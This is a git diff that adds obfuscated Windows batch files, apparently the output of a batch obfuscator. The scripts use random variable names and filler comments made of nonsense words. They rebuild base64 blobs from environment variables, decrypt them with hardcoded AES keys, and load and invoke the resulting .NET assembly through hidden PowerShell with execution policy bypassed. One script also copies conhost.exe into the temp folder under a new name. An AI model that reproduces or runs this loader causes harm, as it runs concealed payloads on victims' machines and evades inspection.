+sEt "G15bnTBj=Zj3iG1r4!" && %LYcJrNfR%Rem%jfmWQdip% lota nomaki nonalila dobili pibotoli popiliki
+sEt "qS0d1i6t=wAOI3Y8B!"
+SET "jRfLoUSV=JZA7v0jh!"
+SET "mPkyvtdf=DAdfHIee!" && Rem tidiropi riradi kokiro bipino rolazo nabi
+set "xUQC83sf=kjdUyGwR!" && %LfOo0MNL%REM%FQo9Qbsd% toba lori zatita zodi kozadozo kotiraro nabi
+set "lmzfrXCT=ODyICk9W!"
+SET "mJe1Ru0G=x0vsYYSk!" && %C6BmcOfm%::%Au0KxR5H% rimomo mota pirido zaraboli ropa kotota tiramo zatita
+set "BZEppChT=WrkaZiHq!" && %IMX7CQi7%rem%c83c21dY% zazaba kadiropi zimo kapapori
+set "BI3mfBup=RVR1sGlk!" && :: lota zatita roti nolaboka
+SET "mKOurKGm=raQoGp88!"
+SET "j3tJXi5X=js0ADr6a!"
+set "b316CVtm=HCrxZADp!"
+SET "ZD9ECOLo=heP1CCKf!"
+set "hfh6kV9f=URrHtuVX!" && %dxdMeOcc%::%ZOFc9UnU% zaritabo lanapota rabiti zazolomi
+set "haAZDQ4A=W27dRdor!" && rem pokolo labamizi ranikizo rabiti rini
+set "zpYewLhD=bSjRBAJ7" && REM kapapori zatita lodimoki bozo
+SET "yCRhJku8IRHM=%caifiwMo%%SUFMnTHK%%PNI4SNDk%%PqT5lZYL%%giS1OT5O%%G15bnTBj%%qS0d1i6t%%jRfLoUSV%%mPkyvtdf%%xUQC83sf%%lmzfrXCT%%mJe1Ru0G%%BZEppChT%%BI3mfBup%%mKOurKGm%%j3tJXi5X%%b316CVtm%%ZD9ECOLo%%hfh6kV9f%%haAZDQ4A%%zpYewLhD%"
+:: lanapota tapazi lamo pokolo tapari rilatipo tapipizi
+rem zido moli ripanika torodino pili bozo notiri
+:: labamizi kozari lopomobi dazodato liti zimo kilanoza zaritabo
+goto :Lzpp9wR5aCWq
+:Lzpp9wR5aCWq
+sEt "CrKmQwGz=$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"
+sEt "fdgQcZiX=$jPFh8Se4.IV = $wEAR7v[0..15];iex $env:CrKmQwGz"
+SET "PfW1DjPc=$wEAR7v = [Convert]::FromBase64String(-join ($env:yCRhJku8IRHM.Split('!')).ForEach({(Get-Item "env:$_").Value}));iex $env:fdgQcZiX"
+sEt "bMYVBp6i=$jPFh8Se4.Key = [byte[]]@(171,143,7,164,190,81,72,104,31,238,209,154,165,163,89,131,212,33,59,64,33,4,240,187,139,97,118,160,166,69,226,146);iex $env:PfW1DjPc"
+SeT "kNUm65y6=$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;iex $env:bMYVBp6i"
+SET "vNyB1bF2=$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;iex $env:kNUm65y6"
+set "LVph4dqW=$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();iex $env:vNyB1bF2"
+goto :TejwFLQYTRym
+:TejwFLQYTRym
+set "cJp97kWe=powershell "
+set "DiV3Uh7Y=-ExecutionP"
+SET "hHex5g1G=olicy Bypas"
+SET "DrD1U9Gs=s -WindowSt"
+SET "rJY8T6aK=yle Hidden -c"
+%cJp97kWe%%DiV3Uh7Y%%hHex5g1G%%DrD1U9Gs%%rJY8T6aK% %LVph4dqW%
+
+Rem rirano labo bapopo
+%YbvbHBPN%rem%BKneCGH5% tidabo tidiropi rilatipo
+REM nonola tala lamatibi zilotopa pako
+%y3cD9oxW%Rem%aCz9xs8A% kotota lodo pirido lori
+:U3JnSvEPuw1
+
+rem rotimani doli takizo
+Rem pomona pili ponimado nonalila zaraboli
+Rem lita zozata nirazaki pibotoli
+REM tina torodino kadiki kiramimi pamololi tazakoka
+:Ve5QgYCAO3
+
+goto :dIlI92
+rem zaritabo pibotoli dilaboza dipiziro patoti
+%AYSeDuz0%Rem%auQT2QC4% nirazaki takizo kozari radipata tapazi bokizalo
+REM bano nopo kadiki rotimani bori rilatipo ninoropi dilaboza
+%AlAYyzmi%::%LGYrF8Zx% baraza baza nirazaki larala
+REM lita zazolo tapi zatapa bano
+Rem dazodato dini rinopono kamono rozo mota koranaka
+:fEptsO5fulgy
+
+%zxRITLx6%::%iegmjjkW% rinopono zodi diro riradi kiramimi potapaba tina
+Rem ripomoti kipabomo kobi robo miza
+rem kadiki rozo pipabi pirido
+Rem lita toba zaritabo dota dala
+:dIlI92
+
+REM kadiki bokizalo zoti zabara
+REM bomokima lodimoki zitinaki kiramimi ritazizi riramito
+rem rirano bapopo miba bakina mitinira
+REM zoti rimomo nomaki kadiropi nipaba zalazipo toba rozozaza
+%zJ7Adv46%Rem%ofAQROw6% rimomo zoti labamizi riradi radipata kotiraro lopomobi tapa
+:KxFrICkRJqU0
+
+REM rabiti nitoba baza tapa dikopo dipiziro riramito panapala
+%XukwN4NV%rem%f2Ar8JZo% larala diro lita ribo
+:SJcXZeoY2
+
+goto :BT337Q
+rem tala bado kiziba tidabo toba
+REM takizo patoti ritazizi
+REM torola palabi diro
+:P1rrdgaSvxc
+
+REM bapopo liti nopo mota
+:: robo pili databika nonalila bizalo diro zabara manibi
+REM kiramimi lanita nimazido pibotoli moli lori
+Rem bado zitinaki tatabipo nabi torodino nodokibi bizalo bokizalo
+rem kobi lamatibi nirazaki riramito nimazido
+:BT337Q
+
+%X7LS94nu%rem%BajjA5xW% mozi dilaboza diro roti tala pabi tapazi zali
+REM kotota liti bitima todaloma pibotoli nonola riramito kilanoza
+Rem zido zazaba mozi tapa mota
+:eClFnen
+%yx12cyJO%REM%HFgBhzpq% kotota torola rozozaza tina
+REM zazaba pato tika dilakomi
+:: manibi lazado pili ninimobi tika toba
+:: pili roti miba tatabipo narili patoti
+REM zakapi rimomo kanabo takizo kotota bikoza rilatipo liti
+%nJtFVv9I%Rem%J6mxjDYE% zozata kozadozo manibi zalazipo pabi
+:: nolaboka notiri rilatipo nozo
+Rem nonalila lodo ponimado nodokibi dipiziro tala
+REM zakapi rozoboba zazaba ropa
+%WuMHNleV%REM%KxTyeqWA% ripomoti tazakoka pokolo takizo zodi zalolopo doli
\ No newline at end of file
diff --git a/testexe and outputs/output_improved.bat b/testexe and outputs/output_improved.bat
new file mode 100644
index 0000000..6cc85e7
--- /dev/null
+++ b/testexe and outputs/output_improved.bat	
@@ -0,0 +1,181 @@
+echo UM > nul

+G%i4Wwoo%o%RO4zSb9WPx%TO :pS9)Kc

+%YBjgTgU%:: %Yomea1Q% favuloxexema jagezoyogi jugisibaj jocuvex zukeg pejulojoce coyiyehepec

+%fDQCK9rVMB%rem %oZc7ml3P% nowexed qup suyeno qegusa

+:pS9)Kc

+@echo off

+G%mngTQ6JeZ3zf%o%BuWqqhmpRn%TO :Thf3ZKo

+%f8SrWiwAOz46%:: %uL3S9k% rev futaq moruzifabi lukafomagaj jajafemiqodu wicexawux

+R%S6qrGRi%em %SzxpVGVsstni% qonowana pepumufe gosovugoqiti moqeh nasoz bafutatakaci huxewanudu pixijak

+:Thf3ZKo

+r%sTEv1H0y6fvj%EM %oOkDidYJ4so% heniyih dey curacegege giliwe howajab

+g%ZCUa9aRmZvJ%O%gF98ddhx3%tO :c16Jd(Dew

+%zFBBgp%rEM %GinJ7T% macazop hafucohuz legopevayu muhegozupoj

+%uUTFxkHXdd%:: %e12kx65% koxeris yihitaxaq vij piduj qam xakecorasohi

+R%QEaNJFdub%eM %uXnUjK% zahoqiwabe verer kavihabice wike mebakasoso sukuyimubi wix cexuciyasesi ginayax

+:c16Jd(Dew

+:FG{T3QlC

+

+SEt "SPuz9o=nhost."

+SeT "yRwT5Plp=%windir%\"

+SEt "Okq8J6cyOK=Sysnativ"

+sEt "NaoPDav=e\co"

+SeT "XqPxdGG=exe"

+%ivn7HsUpUO%set "GhF05KG=SeT "

+SeT "eV4ZeoAp=YLrnaDie8="

+%GhF05KG%%eV4ZeoAp%%yRwT5Plp%%Okq8J6cyOK%%NaoPDav%%SPuz9o%%XqPxdGG%

+G%IS0Xhk25Gt%O%WeVQieKs2hr%tO :TNjsdL6(L

+%ARWpeUK88%:: %bcfmmo3q1% nozepaholire zuqakewelito muyoyuwo kevifatana qezo huj salusaz kuxege

+r%yQvaquU%Em %Z6BQBgsV% xuqowi hozegerito lubojatusogo jebob puwoloruhiwi viqixuyupip minojufib gumaruricev faz

+:TNjsdL6(L

+g%Tcmrod%o%tnDfMqFvyfH%To :yN0OmjpYer

+R%wC9HzYOy%em %A8NP2t2Bv% gemena pimemob rutatiqe wamala xocukiwofi pedon tayekalekep jubitemeku

+:yN0OmjpYer

+:xThBJWRN

+set "KUHX9ltd=if "

+Set "yAjInFlJ=exist "

+%noYesyzmKAfA%set "FV2dW5PX=%YLrnaDie8% "

+SEt "rf3ii0Y=SET "

+Set "fRXTEzU=YLrnaDie8="

+%KUHX9ltd%%yAjInFlJ%%FV2dW5PX%%rf3ii0Y%%fRXTEzU%%YLrnaDie8%

+g%CF4dh0%O%fKiNsSi1Pz1D%TO :hGex6z

+%gepmhkIe3B%rEm %R9D5FAC% cohitupinu pubayasafuc fepahoka kukilanu dek ducikaj derefelepin becicir vuf

+:hGex6z

+:gp3KUOr

+set "LpAf0=%windir%\"

+sET "vleK2=System32\co"

+G%ao77lftkcLl%O%XioFYuA9PfA%TO :E}[s1

+r%sp5Ubj7vN%em %xOYrOW% coxojasi jajacepezip qut cikexuduso puk

+R%fCCxSkK%em %XfN2GzEkIs% cine tezucuhalax qodoqaziko lazagavayaj vinixu

+R%mqwUyZnQ%em %iblKXakojdM% waboneqeb hov teqo noyevivul nufagobaq qayocupos citaqezey

+:E}[s1

+%GhF05KG%%eV4ZeoAp%%LpAf0%%vleK2%%SPuz9o%%XqPxdGG%

+g%yFYe61%O%IxvAzw2%TO :dfKHZermzr

+g%oxgcTWn%o%dwfhTwvJZPYG%To :kGY0f

+r%YZcwJUkG%em %OBq93I4Kan% xefefaxore nedivilu yodu calilicerec giwofofedadu burinez zetuziluduna

+:kGY0f

+%K0IvNjfAdf2%:: %Tr2oyAu7ewr1% buce wepecetub pakey yiwakalil rezifupidupe funama fezicavaho vux

+:dfKHZermzr

+:rrqpDby0RI

+SET "PgzYDy=OPu"

+%bNoVnQR6q%set "mFpPBD=Ep14bB"

+seT "ojCItpGY=.ex"

+SeT "q0M0InwV=e"

+Set "Bkhmsny=copy"

+g%wSjnLvY%O%qvKUdT%TO :b0fhbEPsX

+R%lKB74OV%EM %obIJPjSsl1UY% piqivo xeka gadekale siholozur vov ganuti

+%aUIGdWi8g1rw%rEM %XpVaLou% lukiz yorexu rune nupoc dazakupog fisayefa

+:b0fhbEPsX

+%TV8LgjX%set "rwar6=%tmp%\"

+%y4xCRuewUtn%SEt "iGC2FG= %YLrnaDie8% "

+%Bkhmsny%%iGC2FG%%rwar6%%PgzYDy%%mFpPBD%%ojCItpGY%%q0M0InwV%

+G%zy8NCRlO4m%O%KTswXKonjKkA%TO :JolkH

+%GgWhuZ%:: %OsVxJ4M58u% ferizidez lonomehet kimacowuyemo riqakesaciv guvulunuyos toyu raluzun tolebiholuna niqa

+%Ejz1U5PvQal%:: %UuffPyQ% nedupufaz hovobovate kepan teyadulu qar racesixu pinobiqatafi buf

+:JolkH

+:khZzMjXeQq

+SeT NI6HgwBglFW4=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

+seT VZZxiJ=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

+G%AZuFGEzpEr%O%uDBSt8%TO :loVbqSt

+r%G5bDS4W%em %tjGshdcrY4% nuxidi kobuqe noguvinisey

+:loVbqSt

+G%AB45xTb%o%TPy9axRKD%To :r0US_IJ6e

+%JKygEsf5%Rem %afplLP% hiquwufoqe gufomuyi muqafujojof

+r%ljipHy8NaiQb%eM %GtloPLHa9% golosumas gejayulizi gicoba dumo

+:r0US_IJ6e

+:K)sP6S

+SEt "Qwlbxl6uMum=NI6HgwBglFW4!"

+r%sPTHuR%EM %vk5cp37l% gacoyemoboxo wosul kimewemuhehu xaf qaherosenebu

+G%Qzy4SxGrE0%o%JO165kjs%to :jKEfEV

+R%cKQvAzMWx%em %Ni16PInwgT2% qupubedob wowaroyike nibetekur jafifasoma levamosujovo hilunupero zabatic civ ridale sujar

+:jKEfEV

+SET "PxCEnrjV3Qj=VZZxiJ"

+%FPCy3zSS%rem %nmTtWJi0Gbpp% wabelizuluzo tutibovera meci zehijezoci lupakaj qixeyi cacefi zivafo qofef bebofewu

+g%JjzzDfOfNq%O%ouapIVn%TO :h8Lck

+r%KoNAfGG%eM %Q8hYqI8ZC14X% jirefejuyap wida yahorefubo jasuyi naw yinahot juzukayalowa qofopexige

+:h8Lck

+SeT "r922dS02=%Qwlbxl6uMum%%PxCEnrjV3Qj%"

+G%smeOOSl%o%B7ewuLQx8I%to :Wcm9pelZIt

+%EIxjjUXr%rem %qlJlGZfiA1D% xojepujikini loqewazovoy qukud nusorej weyiduzoqoh

+%ankOES%REm %A4goDtAkL% hexibufipen vepa xogo denobeda pufogideroyo cavemogeti sogu yeceqas raq fer

+:Wcm9pelZIt

+G%acYlbdrF%o%INX8eR12%tO :LJPMn}

+g%zecz2YC%O%V6aQvBZfjcqc%To :iai]VvPw3

+r%yf9xI4R2%Em %vLnz5Jxv2b27% vamumeyusi zomadunive fatog pufeciru

+:iai]VvPw3

+%ikPBtjbY%Rem %rZOPfaCO% meliyoga xowiy ruropizu qevurid jiniq

+:LJPMn}

+:vHJb2c

+%n9663qhb%SEt "aRONYbr=$cGMai3NZF = [System.Security.Crypto%cQgAVh9YPr%graphy.AESCryptoS%MNpIr%erviceProvid%vXkQx%er]::new();$cGMai3NZF.MoDe = [System.Security.C%VFuGUpNvNf%ryptogra%ooVFSdr%phy.CipherMode]::cbC;$cGMai3NZF.paD%lqeIrZ%ding = [%NBLzg85r9%System.Se%jLTug%c%ULIrx%urity.Cryptography.PaddingMode]::PKcS7;$cGMai3NZF.kEy = [byte[]]@(115,92,186,245,6,18,128,19,82,112,3,54,130,174,76,56,134,9,208,64,26,48,193,192,50,96,36,30,47,151,152,130);%uw2BBqnsQp%$pFYImD = [%zrR9er3%Convert%g5lYF%]::FromBase64String(-join ($env:r922dS02.Split('!')).For%DOtFu%Each({(Get-Item "env:$_").Value}));$cGMai3NZF.IV = $pFYImD[0..15];$CulggDU=$cGMai3NZF.cREAtEDecRypTOR();$sELNt5=$CulggDU.tRANsfORmfInaLBLock($pFYImD[16..$pFYImD.Length], 0,$pFYImD.LenGT%HotyWCmnXp%H-16);$BRNze8B7 =[System.Reflection.Assembly]::lOaD($sELNt5%AdVVKT0aP%);$BRNze8B7.eNt%W4UgNGH%RYPoI%XE4ckiLLjB%NT.Invoke($null, $null);"

+G%ZctziB6jOBnF%O%py7dSy45TA%to :el)eZw5vG

+%Mq923yLSO%:: %tEkOjFWv% pazicu dobi dewik jon solocawudun

+%HhVJkomWeOvy%rEm %mgsszJbTdo% qasejuyisade nuxa neyow nerajarewi fayepelozi wiyahutir leviwovu lugocuxocazi lanejuce

+g%UhZModgM4%o%E0owf5%TO :Q8F3h({}M

+%KQR9k6%:: %l3NDzA% seger jonatazi lojuboduya fuqevijor hetexewezu biremaloyat

+:Q8F3h({}M

+R%F61XUuftphT%EM %lWGqrH39a% hitija miguwifigu pogoqewetute fejasoparew qevoyari funo nobilavunuju haxekewiq

+:el)eZw5vG

+set "tEUIeOIm=iex $env:aRONYbr"

+G%a0YgR9wD%o%quAUEODa2Ic2%to :cNPB(D8

+%Vw0IMxx%rem %U96vkW% gihofe mopumi dicawoxapope yew gef jagotak cahuyen hakewifaxi koxejucukaq quyu

+G%ALAWXR%o%IVhYlEXJZ%To :ED}3J

+%eTZD2V%ReM %nHQA7tXoq% wobu wuzukefexa xuvihebon xalomin jomaciy cujohabobi luwuwuz xigotojep

+:ED}3J

+%R0TYku56%:: %bHX3L7% giyifemi rad feresamoq

+g%h9H6T3pPJ%O%TDnpe0LTFZ%TO :GQnjJ9c

+r%MDOYEVILexmE%Em %n3Qjn65XpVH% wameyemume wimedos litamefexapa kekojupuziva mavosigifa raqedu

+R%RYcd3xkvFO%em %aw3Zl3TemCb% migivotop pokaki wiwihowosef mipijiderazi nahehiyibuto xaxe xezugegima rilajiwe zicedo

+%STwk1mBlL7o%:: %WTapUzo% biyazo turiruxud picuxohic femuloq sega vik buyad

+:GQnjJ9c

+:cNPB(D8

+G%aQPDLbTMfP%O%KPPMgdUBum3%to :rFi{wW

+%EStePrH9U5%:: %BJ6SiMLxq% qukafiva yehunafuduzu xih gel nugix sixaxezuni vasunanodimi

+r%H1zw2iyFd4%EM %gziycs0H% xuhedop tojanomofova guv

+%cE6T28G%:: %OHv8xTT% yamifaqelivi difuz hole yotekowu zuxotuzejip

+:rFi{wW

+Set "B0DQdcd=$mvfA1SV6b7 = [ScriptBlock]::Create('').Ast; $FXoBC7 = [System.Management.Automation.Language.ScriptBlockAst]::new($mvfA1SV6b7.Extent,$null,$null,$null,$FXoBC7.EndBlock.Copy(),$null); iex $env:tEUIeOIm"

+g%MGLH5Izfc%o%jplkicbDdZWy%To :s(5PS(i

+%IvYeh1Q3Zbsg%:: %ZR2DG92fg% titozine yebodabojena zuxociluju natecowi tuyatopiwuza fipip likupas

+r%ky1as4ZDt2H%Em %qBKKOJX% yiworen cequmalay kube cewulufukih domelupazija lanan xiku

+%kAblPu%:: %QAC0NmBCoRJ% yad muludu gaxiderotohi qolayuge gifonagar yafajawediw sisomiba fiwucilam

+:s(5PS(i

+sEt "NijWO3s=$G77EhKvG = [ScriptBlock]::Create('').Ast; iex $env:B0DQdcd"

+g%kx8CeYpHt%o%zl9Lke4oShkm%TO :OLyvj6}

+%q5mhWAbpa5%:: %znFdlj% xivuded poleqiqayaz wucewe pikira vur vesewopur larixa jobinawaca

+%stTccv8PDrHG%rEm %XrOzMTU% kapo dicizuxucim hogome qihisidabuk rupabubo dinixukuqi sawuculuqok qupof modijeyomen

+:OLyvj6}

+%OygaYAMY%set "ItL7d9OQ=Start-Sleep -Seconds 1;iex $env:NijWO3s"

+g%lVeR6D%o%cg4Ge4c4MLF%To :zQ)L_

+R%FEbRCXSx%Em %rX7fnLD% hejipit yuqoviv vavo foyu gip qiti meqot

+%istH4CuI%ReM %huprhWwUL7% cax gipet doyonaz bakex fuq

+:zQ)L_

+G%TDlDMnPtBC4%O%Riig8iN3Z%TO :MUy8[}

+r%uRSqCZ%Em %zIgZ38% pigiheromawo cafili yoxiv mopoviqugika febetoja

+:MUy8[}

+%qIrWv8sIK9l%set "PkiLljG=$i8Kkys = 'placeholder'; iex $env:ItL7d9OQ"

+G%kUHAEBzPj8%o%tlkNnh2NTC%TO :OrZ]k}VB2

+%f4qkXogNPx7e%REm %OUaS2qp% kuxegufaz cepo sezu gokawaqul

+%ZrJDSaVZdpZ%:: %zujzOrskcTB% lafefuyixaf dataga vewo hiba

+%cdUGNVD%REm %CFGs8W% mizacu sidaxe qazibutifime howewu gemalac

+:OrZ]k}VB2

+:kQ9UE

+%uK5D8TVG%SEt "ioiv9Gfy=iex $env:PkiLljG"

+g%rBGGa8%o%bvDtAoYJG2%To :TbRvpTY

+g%keXHI4G2t%O%zzyp2l960%to :g0BIR1}E

+%UvmdVmmvGZKu%Rem %rxYmhC2epuuG% kecocipapido las venori

